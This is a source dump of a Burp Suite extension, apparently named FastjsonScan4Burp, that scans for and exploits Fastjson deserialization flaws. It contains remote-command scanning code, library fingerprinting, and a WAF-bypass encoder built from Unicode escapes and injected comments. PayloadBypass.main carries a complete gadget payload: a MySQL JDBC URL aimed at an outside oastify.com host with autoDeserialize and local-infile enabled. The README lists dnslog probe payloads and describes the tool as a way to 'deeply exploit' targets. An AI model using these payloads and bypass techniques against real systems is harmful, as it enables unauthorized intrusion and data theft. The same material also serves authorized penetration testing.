6 | import burp.dnslogs.DnsLog;
7 | import burp.dnslogs.DnslogInterface;
8 | import burp.extension.scan.BaseScan;
9 | import burp.utils.YamlReader;
10 |
11 | import java.io.PrintWriter;
12 | import java.lang.reflect.InvocationTargetException;
13 | import java.util.*;
14 |
15 | import static burp.utils.Customhelps.tabFormat;
16 |
17 | /**
18 | * @ClassName: RemoteCmd
19 | * @Auther: niko
20 | * @Date: 2025/1/20 17:25
21 | * @Description:
22 | */
23 | public class RemoteScan extends BaseScan {
24 | public RemoteScan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) {
25 | super(callbacks,iHttpRequestResponse,helpers, isBypass, dnsName);
26 | }
27 |
28 | @Override
29 | public List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
30 | boolean flag = true;
31 | List payloads = yamlReader.getStringList("application.remoteCmdExtension.config.payloads");
32 | Iterator payloadIterator = payloads.iterator();
33 | Issus issus = null;
34 | List issuses = new ArrayList<>();
35 | // dnslos 平台初始化
36 | IHttpRequestResponse newRequestResonse = null;
37 | while (payloadIterator.hasNext()){
38 | DnslogInterface dnslog = new DnsLog(callbacks, dnsName).run();
39 | String dnsurl = dnslog.getRandomDnsUrl();
40 | String payload = payloadIterator.next();
41 | payload = payload.replace("dnslog-url",dnsurl);
42 | if (jsonKey == null){
43 | newRequestResonse = run(payload);
44 | }else {
45 | newRequestResonse = run(payload,jsonKey);
46 | }
47 | // 记录随机值存入list中,以便二次验证
48 | randomList.add(dnslog.getRandomPredomain());
49 | this.iHttpRequestResponseList.add(newRequestResonse);
50 | this.payloads.add(payload.replace("dnslog-url",dnsurl));
51 |
52 | String bodyContent = null;
53 | // 捕获api.ceye 503异常,避免导致issus未更新
54 | try {
55 | bodyContent = dnslog.getBodyContent();
56 | } catch (Exception e) {
57 | bodyContent = null;
58 | System.err.println("获取 bodyContent 失败:" + e.getMessage()); // 记录错误信息
59 | }
60 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload.replace("dnslog-url",dnsurl),bodyContent);
61 | //修正返回issus结果:仅for循环结束后或找到payload后才变为[+]/[-]
62 | // dns平台返回为空且payload已循环完毕,则[-], 否则直接跳入下一个循环
63 | if(bodyContent == null|| bodyContent.length()<=0){
64 | continue;
65 | }
66 |
67 | // dns平台有结果且匹配random 则[+],否则[-]
68 | if (bodyContent.contains(dnslog.getRandomPredomain())){
69 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去
70 | if (flag){
71 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
72 | customBurpUrl.getRequestMethod(),
73 | getExtensionName(),
74 | customBurpUrl.getHttpResponseStatus(),
75 | payload,
76 | tabFormat(ScanResultType.PAYLOADS_FIND),
77 | newRequestResonse,
78 | Issus.State.SAVE);
79 | issuses.add(issus);
80 | flag = false;
81 | }else {
82 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
83 | customBurpUrl.getRequestMethod(),
84 | getExtensionName(),
85 | customBurpUrl.getHttpResponseStatus(),
86 | payload,
87 | tabFormat(ScanResultType.PAYLOADS_FIND),
88 | newRequestResonse,
89 | Issus.State.ADD);
90 | issuses.add(issus);
91 | }
92 | // 第一次发现,havePoc = true
93 | }
94 | }
95 |
96 | if (!issuses.isEmpty()){
97 | return issuses;
98 | }
99 | issuses = checkoutDnslog(getExtensionName(),new DnsLog(callbacks, dnsName).run(),randomList,iHttpRequestResponseList,payloads,null);
100 | return issuses;
101 | }
102 |
103 | @Override
104 | public String getExtensionName() {
105 | return "RemoteScan";
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/Customhelps.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.bean.ScanResultType;
5 | import org.yaml.snakeyaml.Yaml;
6 |
7 | import java.io.File;
8 | import java.io.FileInputStream;
9 | import java.io.FileNotFoundException;
10 | import java.util.*;
11 |
12 | /**
13 | * @ClassName: Customhelps
14 | * @Auther: niko
15 | * @Date: 2025/1/20 16:50
16 | * @Description:
17 | */
18 | public class Customhelps {
19 | private IBurpExtenderCallbacks callbacks;
20 | private static Map> properties = new HashMap<>();
21 |
22 | public Customhelps() {
23 | }
24 |
25 | public static String randomString(Integer j){
26 | String characters = "abcdefghijklmnopqrstuvwxyz0123456789";
27 | StringBuilder result = new StringBuilder(4);
28 | Random random = new Random();
29 | for (int i = 0; i < j; i++) {
30 | int index = random.nextInt(characters.length());
31 | result.append(characters.charAt(index));
32 | }
33 | return result.toString();
34 | }
35 |
36 |
37 | public String getConfigPath(){
38 | int lastIndexOf = this.callbacks.getExtensionFilename().lastIndexOf(File.separator);
39 | String path = "";
40 | path = this.callbacks.getExtensionFilename().substring(0,lastIndexOf) + File.separator + "resources/config.yml";
41 | return path;
42 | }
43 | public void load() throws FileNotFoundException {
44 | String configPath = getConfigPath();
45 | File file = new File(configPath);
46 | properties = new Yaml().load(new FileInputStream(file));
47 | }
48 | /**
49 | * 获取参数数据
50 | * 例如:
51 | * getParam("token=xx;Identifier=xxx;", "token"); 返回: xx
52 | *
53 | * @param d 被查找的数据
54 | * @param paramName 要查找的字段
55 | * @return
56 | */
57 | public static String getParam(final String d, final String paramName) {
58 | if (d == null || d.length() == 0)
59 | return null;
60 |
61 | String value = "test=test;" + d;
62 |
63 | final int length = value.length();
64 | int start = value.indexOf(';') + 1;
65 | if (start == 0 || start == length)
66 | return null;
67 |
68 | int end = value.indexOf(';', start);
69 | if (end == -1)
70 | end = length;
71 |
72 | while (start < end) {
73 | int nameEnd = value.indexOf('=', start);
74 | if (nameEnd != -1 && nameEnd < end
75 | && paramName.equals(value.substring(start, nameEnd).trim())) {
76 | String paramValue = value.substring(nameEnd + 1, end).trim();
77 | int valueLength = paramValue.length();
78 | if (valueLength != 0)
79 | if (valueLength > 2 && '"' == paramValue.charAt(0)
80 | && '"' == paramValue.charAt(valueLength - 1))
81 | return paramValue.substring(1, valueLength - 1);
82 | else
83 | return paramValue;
84 | }
85 |
86 | start = end + 1;
87 | end = value.indexOf(';', start);
88 | if (end == -1)
89 | end = length;
90 | }
91 |
92 | return null;
93 | }
94 | /**
95 | * 获取精确到秒的时间戳
96 | *
97 | * @param date
98 | * @return Integer
99 | */
100 | public static Integer getSecondTimestamp(Date date) {
101 | if (null == date) {
102 | return 0;
103 | }
104 | String timestamp = String.valueOf(date.getTime() / 1000);
105 | return Integer.valueOf(timestamp);
106 | }
107 | public static String tabFormat(ScanResultType type, Object... args){
108 | return type.format(args);
109 | }
110 |
111 | private static int levenshteinDistance(String s1, String s2) {
112 | int m = s1.length();
113 | int n = s2.length();
114 | int[][] dp = new int[m + 1][n + 1];
115 |
116 | for (int i = 0; i <= m; i++) {
117 | for (int j = 0; j <= n; j++) {
118 | if (i == 0) {
119 | dp[i][j] = j;
120 | } else if (j == 0) {
121 | dp[i][j] = i;
122 | } else {
123 | dp[i][j] = Math.min(
124 | Math.min(dp[i - 1][j] + 1, dp[i][j - 1] + 1),
125 | dp[i - 1][j - 1] + (s1.charAt(i - 1) == s2.charAt(j - 1) ? 0 : 1)
126 | );
127 | }
128 | }
129 | }
130 | return dp[m][n];
131 | }
132 | public static boolean isSimilarity(String resp1,String resp2){
133 | int distance = levenshteinDistance(resp1, resp2);
134 | double similarity = 1 - (double) distance / Math.max(resp1.length(), resp2.length());
135 | if (similarity>0.7){
136 | return true;
137 | }
138 | return false;
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/src/main/java/burp/extension/scan/impl/libraryDetect.java:
--------------------------------------------------------------------------------
1 | package burp.extension.scan.impl;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.bean.Issus;
7 | import burp.bean.ScanResultType;
8 | import burp.extension.scan.BaseScan;
9 | import burp.utils.Customhelps;
10 |
11 | import java.lang.reflect.InvocationTargetException;
12 | import java.util.ArrayList;
13 | import java.util.Iterator;
14 | import java.util.List;
15 |
16 | import static burp.utils.Customhelps.tabFormat;
17 |
18 | /**
19 |
20 | * @ClassName: DetectLibrary
21 | * @Auther: niko
22 | * @Date: 2025/2/11 16:50
23 | * @Description:
24 | */
25 | public class libraryDetect extends BaseScan {
26 |
27 | public libraryDetect(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) {
28 | super(callbacks, iHttpRequestResponse, helpers, isBypass,dnsName);
29 | }
30 |
31 | @Override
32 | public List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
33 | boolean flag = true;
34 | String payload = yamlReader.getString("application.detectLibraryExtension.config.libraryPayloads");
35 | List libraries = yamlReader.getStringList("application.detectLibraryExtension.config.libraries");
36 | Iterator libraryIterator = libraries.iterator();
37 | Issus issus = null;
38 | List issuses = new ArrayList<>();
39 | IHttpRequestResponse newRequestResonse = null;
40 | boolean isFirstLoop = true;
41 | String errorClassHttpResponse = "";
42 | String randomClass = "org.apache." + Customhelps.randomString(8);
43 | while (libraryIterator.hasNext()){
44 | if (isFirstLoop){
45 | isFirstLoop = false;
46 | if (jsonKey == null || jsonKey.length()<=0){
47 | run(payload.replace("libraries",randomClass));
48 | }else {
49 | run(payload.replace("libraries",randomClass),jsonKey);
50 | }
51 | errorClassHttpResponse = customBurpUrl.getHttpResponseBody();
52 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload.replace("libraries",randomClass),errorClassHttpResponse);
53 | continue;
54 | }
55 | String library = libraryIterator.next();
56 | if (jsonKey == null || jsonKey.length()<=0){
57 | newRequestResonse = run(payload.replace("libraries",library));
58 | }else {
59 | newRequestResonse = run(payload.replace("libraries",library),jsonKey);
60 | }
61 | String bodyContent = customBurpUrl.getHttpResponseBody();
62 |
63 | if(bodyContent == null|| bodyContent.length()<=0){
64 | continue;
65 | }
66 | bodyContent = bodyContent.toLowerCase();
67 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload.replace("libraries",library),bodyContent);
68 | boolean isMatch = (bodyContent.contains(library.toLowerCase()) && bodyContent.toLowerCase().contains("cast")); //新增一个匹配can no cast to char
69 | boolean isSimilarity = Customhelps.isSimilarity(errorClassHttpResponse, customBurpUrl.getHttpResponseBody());
70 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去
71 | if (flag){
72 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
73 | customBurpUrl.getRequestMethod(),
74 | getExtensionName(),
75 | customBurpUrl.getHttpResponseStatus(),
76 | isMatch||!isSimilarity?payload.replace("libraries",library):null,
77 | isMatch||!isSimilarity?tabFormat(ScanResultType.LIBRARY_FOUND,library):tabFormat(ScanResultType.NOT_FOUND),
78 | newRequestResonse,
79 | Issus.State.SAVE);
80 | issuses.add(issus);
81 | flag = false;
82 | }else {
83 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
84 | customBurpUrl.getRequestMethod(),
85 | getExtensionName(),
86 | customBurpUrl.getHttpResponseStatus(),
87 | isMatch||!isSimilarity?payload.replace("libraries",library):null,
88 | isMatch||!isSimilarity?tabFormat(ScanResultType.LIBRARY_FOUND,library):tabFormat(ScanResultType.NOT_FOUND),
89 | newRequestResonse,
90 | Issus.State.ADD);
91 | issuses.add(issus);
92 | }
93 |
94 | }
95 | return issuses;
96 | }
97 |
98 | @Override
99 | public String getExtensionName() {
100 | return "libraryDetect";
101 | }
102 | }
103 |
--------------------------------------------------------------------------------
/src/main/java/burp/bean/CustomBurpUrl.java:
--------------------------------------------------------------------------------
1 | package burp.bean;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.IParameter;
7 |
8 | import java.io.PrintWriter;
9 | import java.io.UnsupportedEncodingException;
10 | import java.net.MalformedURLException;
11 | import java.net.URL;
12 | import java.util.List;
13 |
14 | public class CustomBurpUrl {
15 | private IBurpExtenderCallbacks callbacks;
16 | private IExtensionHelpers helpers;
17 |
18 | public PrintWriter stderr;
19 |
20 | private IHttpRequestResponse requestResponse;
21 |
22 | public CustomBurpUrl(IBurpExtenderCallbacks callbacks, IHttpRequestResponse requestResponse) {
23 | this.callbacks = callbacks;
24 | this.helpers = callbacks.getHelpers();
25 | this.stderr = new PrintWriter(callbacks.getStderr(), true);
26 |
27 | this.requestResponse = requestResponse;
28 | }
29 |
30 | public IHttpRequestResponse requestResponse() {
31 | return this.requestResponse;
32 | }
33 |
34 | /**
35 | * 获取-请求协议
36 | *
37 | * @return
38 | */
39 | public String getRequestProtocol() {
40 | return this.requestResponse.getHttpService().getProtocol();
41 | }
42 |
43 | /**
44 | * 获取-请求主机
45 | *
46 | * @return
47 | */
48 | public String getRequestHost() {
49 | return this.requestResponse.getHttpService().getHost();
50 | }
51 |
52 | /**
53 | * 获取-请求端口
54 | *
55 | * @return
56 | */
57 | public int getRequestPort() {
58 | return this.requestResponse.getHttpService().getPort();
59 | }
60 |
61 | /**
62 | * 获取-请求路径
63 | *
64 | * @return
65 | */
66 | public String getRequestPath() {
67 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getPath();
68 | }
69 |
70 | /**
71 | * 获取-请求参数
72 | *
73 | * @return
74 | */
75 | public String getRequestQuery() {
76 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getQuery();
77 | }
78 |
79 | /**
80 | * 获取-请求域名名称
81 | *
82 | * @return
83 | */
84 | public String getRequestDomainName() {
85 | if (this.getRequestPort() == 80 || this.getRequestPort() == 443) {
86 | return this.getRequestProtocol() + "://" + this.getRequestHost();
87 | } else {
88 | return this.getRequestProtocol() + "://" + this.getRequestHost() + ":" + this.getRequestPort();
89 | }
90 | }
91 | /**
92 | * 获取-获取请求方式名称
93 | *
94 | * @return
95 | */
96 | public String getRequestMethod() {
97 | String method = this.helpers.analyzeRequest(requestResponse).getMethod();
98 | return method;
99 | }
100 |
101 | /**
102 | * 获取-获取http请求url
103 | *
104 | * @return
105 | */
106 | public URL getHttpRequestUrl() {
107 | try {
108 | if (this.getRequestQuery() == null) {
109 | return new URL(this.getRequestDomainName() + this.getRequestPath());
110 | } else {
111 | return new URL(this.getRequestDomainName() + this.getRequestPath() + "?" + this.getRequestQuery());
112 | }
113 | } catch (MalformedURLException e) {
114 | e.printStackTrace(this.stderr);
115 | }
116 | return null;
117 | }
118 | /**
119 | * 获取-获取请求header头
120 | *
121 | * @return
122 | */
123 | public List getHttpRequestHeaders(){
124 | List headers = helpers.analyzeRequest(this.requestResponse).getHeaders();
125 | return headers;
126 | }
127 | /**
128 | * 获取-获取请求参数
129 | *
130 | * @return
131 | */
132 | public List getHttpRequestParameters() {
133 | List parameters = helpers.analyzeRequest(requestResponse).getParameters();
134 | return parameters;
135 | }
136 |
137 | /**
138 | * 获取- 请求体body
139 | *
140 | * @return
141 | */
142 | public String getHttpRequestBody(){
143 | int bodyOffset = helpers.analyzeRequest(requestResponse.getRequest()).getBodyOffset();
144 | int length = requestResponse.getRequest().length - bodyOffset;
145 | try {
146 | return new String(requestResponse.getRequest(),bodyOffset,length,"UTF-8");
147 | } catch (UnsupportedEncodingException e) {
148 | throw new RuntimeException(e);
149 | }
150 | }
151 | /**
152 | * 获取-获取http响应体body
153 | *
154 | * @return
155 | */
156 | public String getHttpResponseBody() {
157 | byte[] response = this.requestResponse.getResponse();
158 | if (response == null){
159 | return "";
160 | }
161 | int bodyOffset = helpers.analyzeResponse(response).getBodyOffset();
162 | int length = response.length - bodyOffset;
163 | try {
164 | String body = new String(response, bodyOffset, length, "UTF-8");
165 | return body;
166 | } catch (UnsupportedEncodingException e) {
167 | throw new RuntimeException(e);
168 | }
169 | }
170 | /**
171 | * 获取-获取http响应体状态
172 | *
173 | * @return
174 | */
175 | public String getHttpResponseStatus() {
176 | return String.valueOf(helpers.analyzeResponse(this.requestResponse.getResponse()).getStatusCode());
177 | }
178 |
179 |
180 | }
--------------------------------------------------------------------------------
/src/main/java/burp/dnslogs/impl/EyesDnslog.java:
--------------------------------------------------------------------------------
1 | package burp.dnslogs.impl;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.dnslogs.DnslogInterface;
5 | import burp.utils.Customhelps;
6 | import burp.utils.YamlReader;
7 | import com.github.kevinsawicki.http.HttpRequest;
8 |
9 | /**
10 | * @ClassName: Ceye
11 | * @Auther: niko
12 | * @Date: 2025/1/20 16:10
13 | * @Description:
14 | */
15 | public class EyesDnslog implements DnslogInterface {
16 |
17 | private String Identifier;
18 | private String token;
19 | private String random;
20 | private String api;
21 | private YamlReader yamlReader;
22 | private String randomDnsUrl;
23 |
24 |
25 | public EyesDnslog(IBurpExtenderCallbacks callbacks){
26 | Customhelps customhelps = new Customhelps();
27 | this.yamlReader = YamlReader.getInstance(callbacks);
28 | this.api = "https://eyes.sh";
29 | this.Identifier = yamlReader.getString("dnsLogModule.EyesDnslog.Identifier").trim();
30 | this.random = customhelps.randomString(4);
31 | // this.randomGroup = "n1ngoax";
32 | this.token = yamlReader.getString("dnsLogModule.EyesDnslog.token").trim();
33 | init();
34 | }
35 | private void init() {
36 | if (this.token == null || this.token.length() <= 0) {
37 | throw new RuntimeException(String.format("%s 扩展-token参数不能为空", this.getExtensionName()));
38 | }
39 | if (this.Identifier == null || this.Identifier.length() <= 0) {
40 | throw new RuntimeException(String.format("%s 扩展-key参数不能为空", this.getExtensionName()));
41 | }
42 | // String temporaryDomainName = this.random + "." + this.randomGroup + "." + this.Identifier + "." + "eyes.sh";
43 | String temporaryDomainName = this.random + "." + this.Identifier + "." + "eyes.sh";
44 |
45 | this.randomDnsUrl = temporaryDomainName;
46 | }
47 | @Override
48 | public String getRandomDnsUrl() {
49 | return this.randomDnsUrl;
50 | }
51 |
52 | @Override
53 | public String getRandomPredomain() {
54 | return this.random;
55 | }
56 |
57 | @Override
58 | public String checkConnection() {
59 | String url = this.randomDnsUrl;
60 | HttpRequest httpRequest = HttpRequest.get(url);
61 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/604.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0";
62 | httpRequest.header("User-Agent",ua);
63 | httpRequest.header("Accept","*/*");
64 | httpRequest.trustAllCerts();
65 | httpRequest.trustAllHosts();
66 | httpRequest.readTimeout(8 * 1000);
67 | httpRequest.connectTimeout(8 * 1000);
68 | httpRequest.followRedirects(false);
69 | httpRequest.disconnect();
70 | String bodyContent = getBodyContent();
71 | if (bodyContent.contains("True")){
72 | return String.format(getExtensionName() + "平台已连接");
73 | }else {
74 | return "连接失败,建议更换dnslog平台";
75 | }
76 | }
77 |
78 | @Override
79 | public String getBodyContent() {
80 | String url = String.format("%s/api/dns/%s/%s/?token=%s",api,Identifier,random,token);
81 | HttpRequest httpRequest = HttpRequest.get(url);
82 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/614.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0";
83 | httpRequest.header("User-Agent",ua);
84 | httpRequest.header("Accept","*/*");
85 | httpRequest.trustAllCerts();
86 | httpRequest.trustAllHosts();
87 | httpRequest.readTimeout(30 * 1000);
88 | httpRequest.connectTimeout(30 * 1000);
89 | httpRequest.followRedirects(false);
90 | String body = httpRequest.body();
91 | if (!httpRequest.ok()){
92 | throw new RuntimeException(
93 | String.format(
94 | "%s 扩展-内容有异常,异常内容: %s",
95 | this.api,
96 | body
97 | )
98 | );
99 | }
100 | httpRequest.disconnect();
101 | if (body.toLowerCase().contains("false")){
102 | return null;
103 | }else {
104 | return random;
105 | }
106 |
107 | // return body;
108 | }
109 |
110 | // eyes.sh无法做二次校验
111 | @Override
112 | public String getAllContent(String random) {
113 | String url = String.format("%s/api/dns/%s/%s/?token=%s",api,Identifier,random,token);
114 | HttpRequest httpRequest = HttpRequest.get(url);
115 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/604.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0";
116 | httpRequest.header("User-Agent",ua);
117 | httpRequest.header("Accept","*/*");
118 | httpRequest.trustAllCerts();
119 | httpRequest.trustAllHosts();
120 | httpRequest.readTimeout(30 * 1000);
121 | httpRequest.connectTimeout(30 * 1000);
122 | httpRequest.followRedirects(false);
123 |
124 | String body = httpRequest.body();
125 | if (!httpRequest.ok()){
126 | throw new RuntimeException(
127 | String.format(
128 | "%s 扩展-内容有异常,异常内容: %s",
129 | this.api,
130 | body
131 | )
132 | );
133 | }
134 | httpRequest.disconnect();
135 | if (body.equals("False")){
136 | return null;
137 | }else {
138 | return random;
139 | }
140 | }
141 |
142 | @Override
143 | public String getExtensionName() {
144 | return "EyesDnslog";
145 | }
146 |
147 | }
148 |
--------------------------------------------------------------------------------
/src/main/java/burp/extension/bypass/PayloadBypass.java:
--------------------------------------------------------------------------------
1 | package burp.extension.bypass;
2 |
3 | import burp.utils.Customhelps;
4 | import com.google.gson.Gson;
5 | import com.google.gson.JsonSyntaxException;
6 | import com.google.gson.reflect.TypeToken;
7 |
8 | import java.util.LinkedHashMap;
9 | import java.util.Map;
10 | import java.util.Random;
11 |
12 | public class PayloadBypass {
13 | public static String processJson(String inputJson,boolean isContentJson) {
14 | try {
15 |
16 | // 2. 解析JSON到Map(保留顺序)
17 | Map map = new Gson().fromJson(inputJson,
18 | new TypeToken>(){}.getType());
19 |
20 | // 3. 创建新Map处理加密
21 | Map newMap = new LinkedHashMap<>();
22 | for (Map.Entry entry : map.entrySet()) {
23 | String encodedKey = entry.getKey().toString();
24 | if (encodedKey.length()>=5){
25 | if (encodedKey.equals("@type")){
26 | encodedKey =toUnicodeHex(encodedKey);
27 | }else {
28 | encodedKey = keyEncode(encodedKey);
29 | }
30 | }
31 |
32 | Object encodedValue = entry.getValue() != null ?
33 | deepEncode(entry.getValue()) : null;
34 | newMap.put(encodedKey, encodedValue);
35 | }
36 | String json = new Gson().toJson(newMap);
37 | if (isContentJson){
38 | json = addComments(json);
39 | }
40 | // 4. 生成新JSON
41 | return json.replace("\\\\","\\");
42 | } catch (JsonSyntaxException e) {
43 | String json = inputJson.replace("@type", toUnicodeHex("@type"));
44 | json = addComments(json);
45 | String replace = ":/*"+Customhelps.randomString(6)+"*/\"";
46 | json = json.replace(":\"", replace);
47 | // 极端情况处理:当无法解析时返回空对象
48 | return json;
49 | }}
50 | private static Object deepEncode(Object value) {
51 | if (value instanceof Map) {
52 | Map, ?> map = (Map, ?>) value;
53 | Map newMap = new LinkedHashMap<>();
54 | for (Map.Entry, ?> entry : map.entrySet()) {
55 | String encodedKey = entry.getKey().toString();
56 | if (encodedKey.length()>=5){
57 | if (encodedKey.equals("@type")){
58 | encodedKey =toUnicodeHex(encodedKey);
59 | }else {
60 | encodedKey =keyEncode(encodedKey);
61 | }
62 | }
63 | newMap.put(encodedKey, deepEncode(entry.getValue()));
64 | }
65 | return newMap;
66 | }
67 | return toUnicodeHex(value.toString());
68 | }
69 | public static String toUnicodeHex(String value){
70 | Random random = new Random();
71 | StringBuilder unicodeString = new StringBuilder();
72 | for (char c : value.toCharArray()) {
73 | int i = random.nextInt(10);
74 |
75 | if (i>6){
76 | unicodeString.append(String.format("\\u%04x", (int) c));
77 | }else {
78 | unicodeString.append(String.format("\\x%02x", (int) c));
79 | }
80 | // 对每个字符进行 Unicode 编码
81 | }
82 | System.out.println("toUnicodeHex: " + unicodeString);
83 | return unicodeString.toString();
84 | }
85 | public static String keyEncode(String payload){
86 | String s = toUnicodeHex(randomCaseConvert(addSome(payload)));
87 | return s;
88 | }
89 | public static String addComments(String payload){
90 | StringBuilder result = new StringBuilder();
91 | for (int i = 0; i < payload.length(); i++) {
92 | char c = payload.charAt(i);
93 | if (c == '\r' || c == '\n' || c == '\b' || c == ' ') {
94 | continue;
95 | }
96 | result.append(c);
97 | // 如果当前字符是 {,则在其后添加 //random\n
98 | if (c == '{') {
99 | String s = Customhelps.randomString(5);
100 | result.append("//"+s+"\n");
101 | }
102 | if (c == ',') {
103 | result.append("/*"+Customhelps.randomString(7)+"*/");
104 | }
105 | }
106 | return result.toString();
107 | }
108 | public static String randomCaseConvert(String input) {
109 | // 将输入字符串转换为字符数组
110 | char[] charArray = input.toCharArray();
111 | Random random = new Random();
112 |
113 | // 遍历字符数组
114 | for (int i = 0; i < charArray.length; i++) {
115 | // 随机决定是否转换大小写
116 | if (random.nextBoolean()) {
117 | char c = charArray[i];
118 | if (Character.isUpperCase(c)) {
119 | // 如果是大写字母,转换为小写
120 | charArray[i] = Character.toLowerCase(c);
121 | } else if (Character.isLowerCase(c)) {
122 | // 如果是小写字母,转换为大写
123 | charArray[i] = Character.toUpperCase(c);
124 | }
125 | }
126 | }
127 | // 将修改后的字符数组转换回字符串
128 | return new String(charArray);
129 | }
130 | private static String addSome(String payload){
131 | Random random = new Random();
132 |
133 | StringBuilder stringBuilder = new StringBuilder(payload);
134 | for (int j = 1; j < payload.length()/2; j++) {
135 | int i = random.nextInt(payload.length() + 1);
136 | stringBuilder.insert(i,"-");
137 | }
138 | System.out.println(stringBuilder.toString());
139 | return stringBuilder.toString();
140 | }
141 |
142 | public static void main(String[] args) {
143 | String name = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\"proxy\":{\"connectionString\":{\"url\":\"jdbc:mysql://pg9t7wy0to9z2hn4g887aah67xdn1c.oastify.com:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=user\"}}}";
144 | String s = processJson(name, true);
145 | System.out.println(s);
146 |
147 | }
148 | }
149 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## 项目介绍
2 |
3 | FastjsonScan4Burp 一款基于burp被动扫描的fastjson漏洞探测插件,可针对数据包中的存在json的参数或请求体进行payload测试。旨在帮助安全人员更加便捷的发现、探测、深入利用fastjson漏洞,目前以实现fastjson探测、版本探测、依赖探测以及出网及不出网利用和简易的bypass waf功能。
4 |
5 | 参考代码及检测思路:
6 | ```
7 | https://github.com/pmiaowu/BurpFastJsonScan
8 | https://github.com/lemono0/FastJsonParty
9 | https://github.com/safe6Sec/Fastjson
10 | ```
11 | ## 更新记录
12 | 0228:1.修复加载插件后导致列表插件后的其他插件不可用情况 2.修复了yml文件生成时可能出现报错的情况,添加utf-8标准读取文件
13 | ## 工具模块
14 |
15 | 目前插件具有的功能模块:
16 |
17 | - 低感知探测扫描
18 | - 出网扫描
19 | - 不出网扫描
20 | - fastjson版本探测
21 | - fastjson依赖探测
22 | - bypass waf模块
23 | - dns平台实时切换
24 |
25 | ## 扫描原理
26 | 插件会自动发现数据包GET/POST请求中包含有json的value或请求体是否为Content-Type:application/json。判断依据为是否包含有{}或[]
27 | GET中value存在json
28 |
29 |
30 | POST中value存在json
31 |
32 |
33 | Content-Type为json(以下案例均是,不多赘述)
34 | 检测出json后,默认会调用fastjson探测、远程命令执行探测及不出网探测,各模块扫描原理详见下文。
35 |
36 |
37 | ## 使用手册
38 | ### 安装
39 | 初次加载会在当前目录下创建resources/config.yml文件。
40 |
41 |
42 | 基本设置如下,默认情况下不开启bypass waf模块,可根据实际勾选
43 |
44 | ### 基于被动扫描
45 |
46 | 插件会被动式地对数据包进行扫描,只需要启动插件后正常浏览数据包即可。插件扫描队列界面会对扫描结果进行展示。
47 |
48 | - extensionMethod:调用的扫描模块名称
49 | - issue:扫描结果
50 |
51 |
52 | ### 右键主动扫描
53 |
54 | 部分情况下想对单一某个数据包进行漏洞验证或其他原因,可以在repeater右键选择对应插件选择扫描或探测
55 |
56 |
57 | 或者使用doPassive再次进行被动扫描
58 |
59 |
60 |
61 | ### dnslog切换
62 |
63 | 当出现dnslog error时,不需要更改config.yml,可直接在设置中切换dnslog平台,并进行下一轮扫描。其中ceye平台和eyes.sh平台需要在config.yml中配置对应token和Identify
64 |
65 |
66 |
67 | ### 结果输出
68 |
69 | 除了在burp中的issue中以及插件界面外,还会在插件部署目录下的resources文件夹中生成result.txt文件
70 |
71 |
72 |
73 | ## 扫描模块原理
74 |
75 | 被动扫描默认会调用低感知扫描、出网及不出网扫描,探测模块则存在于repeater右键中。
76 |
77 | 敏感环境下可开启bypass waf选项,并关闭命令回显拓展和远程命令拓展,仅保留低感知fastjson扫描。
78 |
79 | ### 低感知扫描
80 |
81 | 主要作用类似于xiasql插件,去探测是否使用了fastjson。尽量以相对较少、较低敏的payload对目标进行扫描。
82 |
83 | 判断方式如下:
84 |
85 | 1. 破坏json原有数据格式:去除 } 号,匹配响应包中是否还有`syntax error`这种fastjson特征
86 |
87 |
88 | 2. 使用出网探测payload,查看dns url是否有解析记录
89 | 注:使用如下payload且dnslog有数据不代表有漏洞,仅能证明使用了fastjson
90 | ```
91 | {"@type":"java.net.Inet4Address","val":"dnslog-url"}
92 | {{"@type":"java.net.URL","val":"http://dnslog-url"}:"x"}
93 | {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog-url"}}
94 | ```
95 | 对应config.yml扫描模块如下:`dnslogPayloads`可自定义
96 |
97 |
98 |
99 | ### 远程命令拓展扫描
